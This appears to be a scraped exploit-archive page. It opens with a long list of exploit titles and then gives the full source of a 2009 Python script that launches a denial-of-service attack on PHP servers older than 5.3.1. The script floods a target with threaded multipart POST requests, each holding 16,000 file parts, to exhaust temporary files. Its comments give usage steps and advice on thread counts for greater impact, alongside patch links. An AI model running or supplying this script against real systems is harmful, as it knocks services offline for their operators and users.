
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
173 lines
No EOL
6 KiB
Python
Executable file
173 lines
No EOL
6 KiB
Python
Executable file
#!/usr/bin/python
|
|
# -*- coding: utf-8 -*-
|
|
#
|
|
# Author:
|
|
# Eren Turkay <eren .-. pardus.org.tr>, 2009/11/20
|
|
# http://www.pardus.org.tr/eng/
|
|
#
|
|
# Credits:
|
|
# Bogdan Calin from Acunetix
|
|
#
|
|
# Description:
|
|
# Exploit to cause denial of service on any host that runs PHP via temporary
|
|
# file exhaustion. It doesn't matter whether the script handles uploads or not.
|
|
# If host runs PHP, it is enough to cause DoS using any PHP script it serves.
|
|
#
|
|
# This is the implementation of disclosed vulnerability that was found
|
|
# by Bogdan Calin. See: http://www.acunetix.com/blog/websecuritynews/php-multipartform-data-denial-of-service/
|
|
#
|
|
# Affected versions:
|
|
# All PHP versions before PHP 5.3.1 and unpatched 5.2.11
|
|
#
|
|
# Platforms:
|
|
# Windows, Linux, Mac
|
|
#
|
|
# Fix:
|
|
# Update to 5.3.1. If you use 5.2.11 and can't update, apply the patch [0]:
|
|
#
|
|
# [0] http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/rfc1867.c?r1=272374&r2=289990&view=patch (introduce max_file_upload)
|
|
# [0] http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c?r1=289214&r2=289990&view=patch (NOTE: upstream changed 100 to 20, do it so)
|
|
#
|
|
# Usage:
|
|
# python php-multipart-dos.py <site> <port> </index.php> <num of child: optional>
|
|
#
|
|
# After opening childs, you may wait long for threads to finish because sending such a huge data is painful.
|
|
# However, it's not important to finish the request. Openining lots of connections and sending huge data fastly will enough to cause DoS.
|
|
# So the more threads you spawn, the more impact you will make. In normal cases, spawning 150 childs would be enough. But the number depends on you.
|
|
# Trial and error ;))
|
|
#
|
|
# Example:
|
|
# python php-multipart-dos.py www.example.com 8080 /index.php
|
|
#
|
|
# By defalt, the program will create 100 threads, each thread will send 10 requests.
|
|
# You can specify child number to create, you may want to increase or decrease for the impact, etc..
|
|
#
|
|
# python php-multipart-dos.py www.example.com 80 /~user/index.php 50
|
|
#
|
|
# Notes:
|
|
# This script is for educational purposes only. Use it at your OWN risk!
|
|
|
|
import socket
|
|
import random
|
|
import time
|
|
import threading
|
|
import sys
|
|
|
|
class Connection:
|
|
def __init__(self, host, port):
|
|
self._host = host
|
|
self._port = port
|
|
self.sock = None
|
|
|
|
def connect(self):
|
|
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
self.sock.connect((self._host, self._port))
|
|
|
|
def send(self, msg):
|
|
if not self.sock:
|
|
raise "NotConnected"
|
|
else:
|
|
self.sock.send(msg)
|
|
|
|
def close(self):
|
|
self.sock.close()
|
|
|
|
class Exploit (threading.Thread):
|
|
def __init__(self, host, port, target):
|
|
self._host = host
|
|
self._port = port
|
|
self._target = target
|
|
threading.Thread.__init__(self)
|
|
|
|
def getBoundary(self):
|
|
""" Return random boundary data """
|
|
random.seed()
|
|
rnd = random.randrange(100000, 100000000)
|
|
data = "---------------------------%s" % rnd
|
|
return data
|
|
|
|
def createPayload(self):
|
|
data = """POST %(target)s HTTP/1.1\r
|
|
Host: %(host)s\r
|
|
Uset-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)\r
|
|
Connection: keep-alive\r
|
|
Content-Type: multipart/form-data; boundary=%(boundary)s\r
|
|
Content-Length: %(length)s\r\n\r\n"""
|
|
|
|
boundary = self.getBoundary()
|
|
|
|
# Create a number of upload data, 16.000, yeah! :)
|
|
for i in range(16000):
|
|
data += "--%s\r\n" % boundary
|
|
data += """Content-Disposition: form-data; name="file_%s"; filename="file_%s.txt"\r
|
|
Content-Type: text/plain\r\n
|
|
Lorem ipsum dolor sit amet, consectetur adipiscing elit. In non blandit augue.\n\r\n""" % (i, i)
|
|
|
|
data += "--%s--\r\n" % boundary
|
|
|
|
return data % {"host": self._host, "target": self._target, "boundary": boundary, "length": str(len(data))}
|
|
|
|
def run(self):
|
|
payload = self.createPayload()
|
|
for i in range(0, 10):
|
|
c = Connection(self._host, self._port)
|
|
c.connect()
|
|
c.send(payload)
|
|
c.close()
|
|
sys.exit(0)
|
|
del payload
|
|
sys.exit(0)
|
|
|
|
def usage():
|
|
usage_data = """
|
|
__^__ __^__
|
|
( ___ )------------------------------------------------( ___ )
|
|
| / | | \ |
|
|
| / | Eren Turkay <eren .-. pardus.org.tr>, 2009/11/20 | \ |
|
|
| / | http://www.pardus.org.tr/eng/ | \ |
|
|
|___| |___|
|
|
(_____)------------------------------------------------(_____)
|
|
|
|
PHP denial of service exploit via temporary file exhaustion
|
|
Usage: python php-multipart-dos.py <host> <port> </adress/index.php> <child number: optional>
|
|
|
|
See source code for more information
|
|
"""
|
|
|
|
print usage_data
|
|
|
|
if __name__ == '__main__':
|
|
if not len(sys.argv) >= 4:
|
|
usage()
|
|
else:
|
|
# is child number passed?
|
|
if len(sys.argv) >= 5:
|
|
child = int(sys.argv[4])
|
|
else:
|
|
child = 100
|
|
print "[+] Attack started..."
|
|
for i in range(0, child):
|
|
try:
|
|
exp = Exploit(str(sys.argv[1]), int(sys.argv[2]), str(sys.argv[3]))
|
|
exp.start()
|
|
print "[+] Opening %s childs... [%s]\r" % (child, i+1),
|
|
sys.stdout.flush()
|
|
i += 1
|
|
except KeyboardInterrupt:
|
|
print "\n[-] Keyboard Interrupt. Exiting..."
|
|
sys.exit(1)
|
|
|
|
# print it so that previous "Opening childs..." is still there
|
|
print ""
|
|
while True:
|
|
try:
|
|
activeChilds = threading.activeCount()
|
|
print "[+] Waiting for childs to finish. %d remaining...\r" % activeChilds,
|
|
sys.stdout.flush()
|
|
# we have one main process
|
|
if activeChilds == 1:
|
|
print "\nOK!"
|
|
sys.exit(0)
|
|
except KeyboardInterrupt:
|
|
print "\n[-] Exiting without waiting!"
|
|
sys.exit(1) |